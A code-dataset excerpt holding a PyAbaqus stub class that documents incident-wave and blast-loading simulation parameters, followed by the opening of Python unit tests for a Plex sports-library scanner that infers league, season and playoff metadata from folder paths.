] | null | null | null | src/abaqus/Interaction/IncidentWaveProperty.py | Haiiliin/PyAbaqus | f20db6ebea19b73059fe875a53be370253381078 | [
"MIT"
] | null | null | null | from abaqusConstants import *
from .ContactProperty import ContactProperty
class IncidentWaveProperty(ContactProperty):
"""The IncidentWaveProperty object is an interaction property that defines the properties
referred to by an IncidentWave object.
The IncidentWaveProperty object is derived from the InteractionProperty object.
Notes
-----
This object can be accessed by:
.. code-block:: python
import interaction
mdb.models[name].interactionProperties[name]
The corresponding analysis keywords are:
- INCIDENT WAVE INTERACTION PROPERTY
- UNDEX CHARGE PROPERTY
- CONWEP CHARGE PROPERTY
"""
def __init__(self, name: str, definition: SymbolicConstant = PLANAR,
propagationModel: SymbolicConstant = ACOUSTIC, soundSpeed: float = None,
fluidDensity: float = None, specificHeatRatio: float = None, gravity: float = None,
atmosphericPressure: float = None, dragCoefficient: float = None,
dragExponent: float = 2, waveEffects: Boolean = ON, chargeDensity: float = None,
chargeMass: float = None, constantK1: float = None, constantK2: float = None,
constantA: float = None, constantB: float = None, constantKc: float = None,
duration: float = None, maximumSteps: int = 1500, relativeStepControl: float = None,
absoluteStepControl: float = None, stepControlExponent: float = 0, genDecayA: float = 0,
genDecayB: float = 0, genDecayC: float = 0, seedNumber: int = None,
massTNT: float = None, massFactor: float = 1, lengthFactor: float = 1,
timeFactor: float = 1, pressureFactor: float = 1):
"""This method creates an IncidentWaveProperty object.
Notes
-----
This function can be accessed by:
.. code-block:: python
mdb.models[name].IncidentWaveProperty
Parameters
----------
name
A String specifying the interaction property repository key.
definition
A SymbolicConstant specifying the type of wave to be defined. Possible values are
PLANAR, SPHERICAL, DIFFUSE, AIR_BLAST, and SURFACE_BLAST. The default value is PLANAR.
propagationModel
A SymbolicConstant specifying the spherical propagation model. Possible values are
ACOUSTIC, UNDEX_CHARGE, and GENERALIZED_DECAY. The default value is ACOUSTIC.This
argument is valid only when *definition*=SPHERICAL.
soundSpeed
A Float specifying the speed of sound in the fluid.This argument is not valid when
*definition*=AIR_BLAST or when *definition*=SURFACE_BLAST.
fluidDensity
A Float specifying the fluid mass density.This argument is not valid when
*definition*=AIR_BLAST or when *definition*=SURFACE_BLAST.
specificHeatRatio
None or a Float specifying the ratio of specific heats for gas. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
gravity
None or a Float specifying the acceleration due to gravity. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
atmosphericPressure
None or a Float specifying the atmospheric pressure. The default value is None.This
argument is valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
dragCoefficient
None or a Float specifying the fluid drag coefficient. The default value is None.This
argument is valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
dragExponent
A Float specifying the fluid drag exponent. The default value is 2.0.This argument is
valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
waveEffects
A Boolean specifying whether or not to include wave effects in the fluid and gas. The
default value is ON.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
chargeDensity
None or a Float specifying the density of the charge material. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
chargeMass
None or a Float specifying the mass of the charge material. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantK1
None or a Float specifying the charge material constant K. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantK2
None or a Float specifying the charge material constant k. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantA
None or a Float specifying the charge material constant A. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantB
None or a Float specifying the charge material constant B. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantKc
None or a Float specifying the charge material constant Kc. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
duration
None or a Float specifying the time duration for the bubble simulation. The default
value is None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
maximumSteps
An Int specifying the maximum number of time steps for the bubble simulation. The
default value is 1500.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
relativeStepControl
A Float specifying the relative step size control parameter. The default value is
1×10–11.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
absoluteStepControl
A Float specifying the absolute step size control parameter. The default value is
1×10–11.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
stepControlExponent
A Float specifying the step size control exponent. The default value is 0.2.This
argument is valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
genDecayA
A Float specifying the constant A associated with the generalized decay propagation
model. The default value is 0.0.This argument is valid only when *definition*=SPHERICAL
and *propagationModel*=GENERALIZED_DECAY.
genDecayB
A Float specifying the constant B associated with the generalized decay propagation
model. The default value is 0.0.This argument is valid only when *definition*=SPHERICAL
and *propagationModel*=GENERALIZED_DECAY.
genDecayC
A Float specifying the constant C associated with the generalized decay propagation
model. The default value is 0.0.This argument is valid only when *definition*=SPHERICAL
and *propagationModel*=GENERALIZED_DECAY.
seedNumber
An Int specifying the seed number (N) for the diffuse source calculation. N2 sources
will be used in the simulation.This argument is valid only when *definition*=DIFFUSE.
massTNT
A Float specifying the equivalent mass of TNT, in any preferred mass unit.This argument
is valid only when *definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
massFactor
A Float specifying the multiplication factor to convert from the preferred mass unit to
kilograms. The default value is 1.0.This argument is valid only when
*definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
lengthFactor
A Float specifying the multiplication factor to convert from the analysis length unit to
meters. The default value is 1.0.This argument is valid only when *definition*=AIR_BLAST
or *definition*=SURFACE_BLAST.
timeFactor
A Float specifying the multiplication factor to convert from the analysis time unit to
seconds. The default value is 1.0.This argument is valid only when
*definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
pressureFactor
A Float specifying the multiplication factor to convert from the analysis pressure unit
to pascals. The default value is 1.0.This argument is valid only when
*definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
Returns
-------
An IncidentWaveProperty object.
"""
super().__init__(name)
pass
def setValues(self, definition: SymbolicConstant = PLANAR, propagationModel: SymbolicConstant = ACOUSTIC,
soundSpeed: float = None, fluidDensity: float = None, specificHeatRatio: float = None,
gravity: float = None, atmosphericPressure: float = None, dragCoefficient: float = None,
dragExponent: float = 2, waveEffects: Boolean = ON, chargeDensity: float = None,
chargeMass: float = None, constantK1: float = None, constantK2: float = None,
constantA: float = None, constantB: float = None, constantKc: float = None,
duration: float = None, maximumSteps: int = 1500, relativeStepControl: float = None,
absoluteStepControl: float = None, stepControlExponent: float = 0, genDecayA: float = 0,
genDecayB: float = 0, genDecayC: float = 0, seedNumber: int = None,
massTNT: float = None, massFactor: float = 1, lengthFactor: float = 1,
timeFactor: float = 1, pressureFactor: float = 1):
"""This method modifies the IncidentWaveProperty object.
Parameters
----------
definition
A SymbolicConstant specifying the type of wave to be defined. Possible values are
PLANAR, SPHERICAL, DIFFUSE, AIR_BLAST, and SURFACE_BLAST. The default value is PLANAR.
propagationModel
A SymbolicConstant specifying the spherical propagation model. Possible values are
ACOUSTIC, UNDEX_CHARGE, and GENERALIZED_DECAY. The default value is ACOUSTIC.This
argument is valid only when *definition*=SPHERICAL.
soundSpeed
A Float specifying the speed of sound in the fluid.This argument is not valid when
*definition*=AIR_BLAST or when *definition*=SURFACE_BLAST.
fluidDensity
A Float specifying the fluid mass density.This argument is not valid when
*definition*=AIR_BLAST or when *definition*=SURFACE_BLAST.
specificHeatRatio
None or a Float specifying the ratio of specific heats for gas. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
gravity
None or a Float specifying the acceleration due to gravity. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
atmosphericPressure
None or a Float specifying the atmospheric pressure. The default value is None.This
argument is valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
dragCoefficient
None or a Float specifying the fluid drag coefficient. The default value is None.This
argument is valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
dragExponent
A Float specifying the fluid drag exponent. The default value is 2.0.This argument is
valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
waveEffects
A Boolean specifying whether or not to include wave effects in the fluid and gas. The
default value is ON.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
chargeDensity
None or a Float specifying the density of the charge material. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
chargeMass
None or a Float specifying the mass of the charge material. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantK1
None or a Float specifying the charge material constant K. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantK2
None or a Float specifying the charge material constant k. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantA
None or a Float specifying the charge material constant A. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantB
None or a Float specifying the charge material constant B. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
constantKc
None or a Float specifying the charge material constant Kc. The default value is
None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
duration
None or a Float specifying the time duration for the bubble simulation. The default
value is None.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
maximumSteps
An Int specifying the maximum number of time steps for the bubble simulation. The
default value is 1500.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
relativeStepControl
A Float specifying the relative step size control parameter. The default value is
1×10–11.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
absoluteStepControl
A Float specifying the absolute step size control parameter. The default value is
1×10–11.This argument is valid only when *definition*=SPHERICAL and
*propagationModel*=UNDEX_CHARGE.
stepControlExponent
A Float specifying the step size control exponent. The default value is 0.2.This
argument is valid only when *definition*=SPHERICAL and *propagationModel*=UNDEX_CHARGE.
genDecayA
A Float specifying the constant A associated with the generalized decay propagation
model. The default value is 0.0.This argument is valid only when *definition*=SPHERICAL
and *propagationModel*=GENERALIZED_DECAY.
genDecayB
A Float specifying the constant B associated with the generalized decay propagation
model. The default value is 0.0.This argument is valid only when *definition*=SPHERICAL
and *propagationModel*=GENERALIZED_DECAY.
genDecayC
A Float specifying the constant C associated with the generalized decay propagation
model. The default value is 0.0.This argument is valid only when *definition*=SPHERICAL
and *propagationModel*=GENERALIZED_DECAY.
seedNumber
An Int specifying the seed number (N) for the diffuse source calculation. N2 sources
will be used in the simulation.This argument is valid only when *definition*=DIFFUSE.
massTNT
A Float specifying the equivalent mass of TNT, in any preferred mass unit.This argument
is valid only when *definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
massFactor
A Float specifying the multiplication factor to convert from the preferred mass unit to
kilograms. The default value is 1.0.This argument is valid only when
*definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
lengthFactor
A Float specifying the multiplication factor to convert from the analysis length unit to
meters. The default value is 1.0.This argument is valid only when *definition*=AIR_BLAST
or *definition*=SURFACE_BLAST.
timeFactor
A Float specifying the multiplication factor to convert from the analysis time unit to
seconds. The default value is 1.0.This argument is valid only when
*definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
pressureFactor
A Float specifying the multiplication factor to convert from the analysis pressure unit
to pascals. The default value is 1.0.This argument is valid only when
*definition*=AIR_BLAST or *definition*=SURFACE_BLAST.
"""
pass
| 59.626623 | 109 | 0.666485 | 2,136 | 18,365 | 5.69382 | 0.089888 | 0.073672 | 0.069068 | 0.087486 | 0.938661 | 0.938661 | 0.938661 | 0.933728 | 0.933728 | 0.933728 | 0 | 0.007631 | 0.286414 | 18,365 | 307 | 110 | 59.820847 | 0.919802 | 0.759978 | 0 | 0.62069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0.068966 | 0.068966 | 0 | 0.172414 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
787b4d9aca8a864b56f0770dba214eee6e7fa91e | 60,885 | py | Python | UnitTests/Scanner/Metadata/Infer/InferTests.py | waldosax/PlexSports | 404058921e4be02b93ad155bdaef768ff917620e | [
"MIT"
] | 5 | 2021-07-09T01:05:47.000Z | 2021-09-06T02:23:12.000Z | UnitTests/Scanner/Metadata/Infer/InferTests.py | waldosax/PlexSports | 404058921e4be02b93ad155bdaef768ff917620e | [
"MIT"
] | 1 | 2022-01-08T04:04:56.000Z | 2022-01-08T04:04:56.000Z | UnitTests/Scanner/Metadata/Infer/InferTests.py | waldosax/PlexSports | 404058921e4be02b93ad155bdaef768ff917620e | [
"MIT"
] | null | null | null | import sys
import unittest
import bootstrapper
(PlexSportsScanner, UnitTests) = bootstrapper.BootstrapScannerAndUnitTests()
rootDir = r"F:\Code\Plex\PlexSportsLibrary"
def assert_meta_value(meta, key, expected):
if meta is None:
raise UnitTests.AssertionException("Expected meta to be a dict, but was None.")
if not isinstance(meta, dict):
raise UnitTests.AssertionException("Expected meta to be a dict, but was %s.)" % type(meta), meta=meta)
actual = None
if not expected and key not in meta.keys():
pass
else:
if not key in meta.keys():
raise UnitTests.AssertionException("Expected key '%s' to exist in meta.)" % key, meta=meta)
actual = meta[key]
if not (actual or "") == (expected or ""):
raise UnitTests.AssertionException("Expected '%s' for key '%s', but was '%s'.)" % (expected, key, actual), meta=meta)
class ForAnyInference(unittest.TestCase):
def test_ShouldHaveBaseInfoFilledOut(self):
try:
# Arrange
relPath = r"NHL\2018\Playoffs\Quarterfinals\Eastern Conference\2018.04.12.NJ@TB.Game.1.mp4"
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_PATH_KEY, file)
assert_meta_value(meta, PlexSportsScanner.METADATA_FILENAME_KEY, r"2018.04.12.NJ@TB.Game.1.mp4")
assert_meta_value(meta, PlexSportsScanner.METADATA_FOLDER_KEY, r"NHL\2018\Playoffs\Quarterfinals\Eastern Conference")
except Exception, e:
self.fail(e.message)
class WhenReadingFolderStructure(unittest.TestCase):
pass
class WhenReadingSportFromFolderStructure(WhenReadingFolderStructure):
def test_IfSportIsPresent_ShouldHaveSportInfoFilledOut(self):
for league in PlexSportsScanner.known_leagues.keys():
try:
# Arrange
(leagueName, sport) = PlexSportsScanner.known_leagues[league]
relPath = r"%s\%s\2018\Playoffs\foo@bar.mp4" % (sport, league)
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SPORT_KEY, sport)
except Exception, e:
self.fail(e.message)
class WhenReadingLeagueFromFolderStructure(WhenReadingFolderStructure):
def test_IfSportIsNotPresentButKnownLeagueIsPresent_ShouldInferSportFromLeague(self):
for league in PlexSportsScanner.known_leagues.keys():
try:
# Arrange
(leagueName, sport) = PlexSportsScanner.known_leagues[league]
relPath = r"%s\2018\Playoffs\foo@bar.mp4" % league
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SPORT_KEY, sport)
assert_meta_value(meta, PlexSportsScanner.METADATA_LEAGUE_KEY, league)
except Exception, e:
self.fail(e.message)
def test_IfSportIsPresentAndKnownLeagueIsPresent_ShouldHaveSportAndLeagueInfoFilledOut(self):
for league in PlexSportsScanner.known_leagues.keys():
try:
# Arrange
(leagueName, sport) = PlexSportsScanner.known_leagues[league]
relPath = r"%s\%s\2018\Playoffs\foo@bar.mp4" % (sport, league)
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SPORT_KEY, sport)
assert_meta_value(meta, PlexSportsScanner.METADATA_LEAGUE_KEY, league)
except Exception, e:
self.fail(e.message)
class WhenReadingSeasonFromFolderStructure(WhenReadingFolderStructure):
pass
class WhenReadingMultiYearSeasonFromFolderStructure(WhenReadingSeasonFromFolderStructure):
def test_IfSeasonIsPresent_ShouldHaveSeasonInfoFilledOut(self):
try:
# Arrange
relPath = r"NFL\2018-2019\Playoffs\foo@bar.mp4"
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SEASON_KEY, "2018-2019")
assert_meta_value(meta, PlexSportsScanner.METADATA_SEASON_BEGIN_YEAR_KEY, 2018)
assert_meta_value(meta, PlexSportsScanner.METADATA_SEASON_END_YEAR_KEY, 2019)
except Exception, e:
self.fail(e.message)
class WhenReadingSingleYearSeasonFromFolderStructure(WhenReadingSeasonFromFolderStructure):
def test_IfSeasonIsPresent_ShouldHaveSeasonInfoFilledOut(self):
try:
# Arrange
relPath = r"NFL\2018\Playoffs\foo@bar.mp4"
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SEASON_KEY, "2018")
assert_meta_value(meta, PlexSportsScanner.METADATA_SEASON_BEGIN_YEAR_KEY, 2018)
assert_meta_value(meta, PlexSportsScanner.METADATA_SEASON_END_YEAR_KEY, None)
except Exception, e:
self.fail(e.message)
class WhenReadingSubseasonFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndOrSeasonAreNotKnown_ShouldDoNothing(self):
for prefix in [r"Football\NFL", r"NFL"]:
try:
# Arrange
relPath = r"%s\Playoffs\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, None)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, None)
except Exception, e:
self.fail(e.message)
# NFL-Specific Tests
class WhenReadingNFLSubseasonFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveSubseasonInfoFilledOut(self):
for (prefix, expected, ind) in [
("Preseason", PlexSportsScanner.NFL.NFL_SUBSEASON_PRESEASON, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_PRESEASON),
("Postseason", PlexSportsScanner.NFL.NFL_SUBSEASON_POSTSEASON, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Playoffs", PlexSportsScanner.NFL.NFL_SUBSEASON_PLAYOFFS, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Regular Season", PlexSportsScanner.NFL.NFL_SUBSEASON_REGULAR_SEASON, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
("RegularSeason", "RegularSeason", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NFL\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
except Exception, e:
self.fail(e.message)
# TODO: Answer cache
def test_IfSubseasonIsPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, round, ind) in [
("AFC Wildcard Round", "AFC Wildcard Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("NFC Wildcard Round", "NFC Wildcard Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("AFC Wildcard", "AFC Wildcard", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("NFC Wildcard", "NFC Wildcard", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Wildcard Round", "Wildcard Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Wildcard", "Wildcard", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("AFC Divisional Round", "AFC Divisional Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("NFC Divisional Round", "NFC Divisional Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("AFC Division Playoffs", "AFC Division Playoffs", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("NFC Division Playoffs", "NFC Division Playoffs", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Divisional Round", "Divisional Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Division Playoffs", "Division Playoffs", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("AFC Championship Round", "AFC Championship Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("NFC Championship Round", "NFC Championship Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("AFC Championship", "AFC Championship", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("NFC Championship", "NFC Championship", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Championship Round", "Championship Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Superbowl XXXIX", "Superbowl XXXIX", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Superbowl LII", "Superbowl LII", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Superbowl 40", "Superbowl 40", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("Superbowl 23", "Superbowl 23", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
# TODO: Fix expression for superbowl without number
#("Superbowl", "Superbowl", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
#("Super bowl", "Super bowl", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON),
("AnythingElse", None, None, None)
]:
try:
# Arrange
relPath = r"NFL\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingNFLWeekFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveWeekInfoFilledOut(self):
for (prefix, expected, ind) in [
(r"Preseason\Week 1", "Week 1", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_PRESEASON),
(r"Preseason\week 2", "week 2", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_PRESEASON),
(r"Preseason\Week3", "Week3", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_PRESEASON),
(r"Preseason\Week 04", "Week 04", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_PRESEASON),
(r"Regular Season\Week 1", "Week 1", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 2", "Week 2", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 3", "Week 3", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 4", "Week 4", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 5", "Week 5", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 6", "Week 6", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 7", "Week 7", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 8", "Week 8", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 9", "Week 9", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 10", "Week 10", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 11", "Week 11", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 12", "Week 12", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 13", "Week 13", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 14", "Week 14", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 15", "Week 15", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 16", "Week 16", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Regular Season\Week 17", "Week 17", PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_REGULAR_SEASON),
(r"Week 1", "Week 1", None),
(r"Week 2", "Week 2", None),
(r"Week 3", "Week 3", None),
(r"Week 4", "Week 4", None),
(r"Week 5", "Week 5", None),
(r"Week 6", "Week 6", None),
(r"Week 7", "Week 7", None),
(r"Week 8", "Week 8", None),
(r"Week 9", "Week 9", None),
(r"Week 10", "Week 10", None),
(r"Week 11", "Week 11", None),
(r"Week 12", "Week 12", None),
(r"Week 13", "Week 13", None),
(r"Week 14", "Week 14", None),
(r"Week 15", "Week 15", None),
(r"Week 16", "Week 16", None),
(r"Week 17", "Week 17", None),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NFL\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_WEEK_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingNFLPostseasonConferenceFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveConferenceInfoFilledOut(self):
for (prefix, expected) in [
("American Football Conference", PlexSportsScanner.NFL.NFL_CONFERENCE_AFC),
